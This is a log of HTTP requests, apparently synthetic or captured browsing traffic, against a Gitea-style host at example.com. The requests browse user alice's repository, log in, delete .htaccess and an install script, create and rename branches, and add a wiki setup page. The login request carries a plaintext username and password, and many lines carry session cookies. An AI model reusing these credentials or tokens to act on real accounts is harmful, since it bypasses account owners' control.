+{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
+{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=python3&type=container", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/-/packages?q=python3&type=container", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=23e319aa978e5a4c; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=0992a6293c77c3ef1f9a8d37b774deddcbef2e23&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522.htaccess%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/src/branch/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "last_commit=cf1f6e0dcb6e2685ce4ffcc1225d31c65cd64d26&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DFile%2B%2522scripts%252Finstall-script.sh%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "GET", "target": "/alice/tools/src/branch/docker-build/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/src/branch/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
+{"method": "POST", "target": "/alice/tools/branches/delete?name=docker-build&page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylgvDcSqmeTmS8iNm", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "------WebKitFormBoundarylgvDcSqmeTmS8iNm--\r\n"}
+{"method": "GET", "target": "/alice/tools/branches?page=1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2B%2522docker-build%2522%2Bhas%2Bbeen%2Bdeleted."], "body": ""}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
